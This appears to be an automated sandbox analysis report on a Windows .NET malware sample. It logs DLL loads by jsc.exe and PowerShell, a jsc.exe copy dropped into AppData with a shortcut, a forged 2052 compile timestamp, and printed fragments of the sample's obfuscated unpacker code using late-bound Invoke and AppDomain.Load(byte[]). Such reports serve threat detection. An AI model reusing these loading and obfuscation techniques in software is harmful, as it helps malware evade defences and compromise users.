Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\jsc.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: jsc.lnk.3.dr

LNK file: ..\..\..\..\..\jsc.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\3SBlY301oa.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: 3SBlY301oa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 3SBlY301oa.exe

Static file information: File size 1974292 > 1048576

Source: 3SBlY301oa.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 3SBlY301oa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: jsc.pdb source: jsc.exe, 00000014.00000000.1610580379.00000000002D2000.00000002.00000001.01000000.0000000C.sdmp, jsc.exe.3.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: mscorlib.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdbRSDS source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: jsc.pdb8 source: jsc.exe, 00000014.00000000.1610580379.00000000002D2000.00000002.00000001.01000000.0000000C.sdmp, jsc.exe.3.dr
Source:	Binary string: mscorlib.ni.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERBDF.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdb source: WERBDF.tmp.dmp.7.dr

Data Obfuscation

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.PJ4yIh8L4QL9KfjDPBR6mAV60ZYnHV3mntp4Y5CT7Hegjo7uutBTlJogDJtOghyns2fHGbpWGcVw2m9ZEiwSdM9,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.QKZ0Ck2mWlkLyMBlUtXjO3hfRKiRlLeaOmD52QkKewi5zUw6QBgzxWEFQTBwW6z63ocKhcs4vHbeShFtGzggfKf,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.uTsTqSQAO2Qg6WmIOqht24LLvyXr7Zs4I6TaR29pHK0FxT3cUhnPRy1XwR5OhckyxbCOsgZmIiKun6eFbyZlRwk,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.YgxWVA05MO4ZL3gv0885DgK4HlWMcsgpWkiLrldxSWExGtQNBLmtr44EqreHCmpuYZOAMKWVD0HgKtUHLfUQ48G,uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.XyiV68Uo1k4lXpfRGu52kQhEX2VANGAJ0zRwXTc83B91HDOZNt()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[2],uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm._1GhP4YFOCKZGi4WVrIfAPVJVUpnOcxMFjSpkHIye01cn7PRzKL2FXygpGNvZVFrRicaolt11Wqr4ZDP3tR(uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.EGYlzJtcZoAvfuFHsR7OjQSuZXxNOIKAoFVon54hcgOcebfwrn(HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.PJ4yIh8L4QL9KfjDPBR6mAV60ZYnHV3mntp4Y5CT7Hegjo7uutBTlJogDJtOghyns2fHGbpWGcVw2m9ZEiwSdM9,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.QKZ0Ck2mWlkLyMBlUtXjO3hfRKiRlLeaOmD52QkKewi5zUw6QBgzxWEFQTBwW6z63ocKhcs4vHbeShFtGzggfKf,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.uTsTqSQAO2Qg6WmIOqht24LLvyXr7Zs4I6TaR29pHK0FxT3cUhnPRy1XwR5OhckyxbCOsgZmIiKun6eFbyZlRwk,LPVrK4pqk4OigmtOYVqUTKrnOk7pNblEWp6wy5ywCwNREebcyZJ5D6PCC87nOqBdKUAJQLaGQcTjT4AKZeqKURr.YgxWVA05MO4ZL3gv0885DgK4HlWMcsgpWkiLrldxSWExGtQNBLmtr44EqreHCmpuYZOAMKWVD0HgKtUHLfUQ48G,uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.XyiV68Uo1k4lXpfRGu52kQhEX2VANGAJ0zRwXTc83B91HDOZNt()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[2],uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm._1GhP4YFOCKZGi4WVrIfAPVJVUpnOcxMFjSpkHIye01cn7PRzKL2FXygpGNvZVFrRicaolt11Wqr4ZDP3tR(uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.EGYlzJtcZoAvfuFHsR7OjQSuZXxNOIKAoFVon54hcgOcebfwrn(HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { HiXZwYZkji9G8B60bxzJ3B2jU7MhaBKhpXI477IyLari2hWVggPnqaGW7f9AuGMcl[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: IMs7q0DloNNoDQRAsyZKCN0CtByg948u System.AppDomain.Load(byte[])
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: _9BGqkz0L0TzggljMxB7G7bL3Y5iIVSxGYp8i8yyupBWj5dv90JAfE4BJUEvIz6tTQ System.AppDomain.Load(byte[])
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: _9BGqkz0L0TzggljMxB7G7bL3Y5iIVSxGYp8i8yyupBWj5dv90JAfE4BJUEvIz6tTQ
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: IMs7q0DloNNoDQRAsyZKCN0CtByg948u System.AppDomain.Load(byte[])
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: _9BGqkz0L0TzggljMxB7G7bL3Y5iIVSxGYp8i8yyupBWj5dv90JAfE4BJUEvIz6tTQ System.AppDomain.Load(byte[])
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	.Net Code: _9BGqkz0L0TzggljMxB7G7bL3Y5iIVSxGYp8i8yyupBWj5dv90JAfE4BJUEvIz6tTQ

Source: 3SBlY301oa.exe

Static PE information: 0x9B9359DD [Mon Sep 16 18:47:57 2052 UTC]

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A5C7F push cs; retf	1_2_00007FFAAB7A5C80
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB797963 push ebx; retf	1_2_00007FFAAB79796A
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB860055 push esp; retf 4810h	1_2_00007FFAAB860312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049C635D push eax; ret	9_2_049C6371
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049C2D09 push 04B80792h; retf	9_2_049C2D0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049C3AA8 push ebx; retf	9_2_049C3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049C3A63 push ebx; retf	9_2_049C3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_089C7408 push eax; retf	9_2_089C7409
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_049A42BD push ebx; ret	12_2_049A42DA
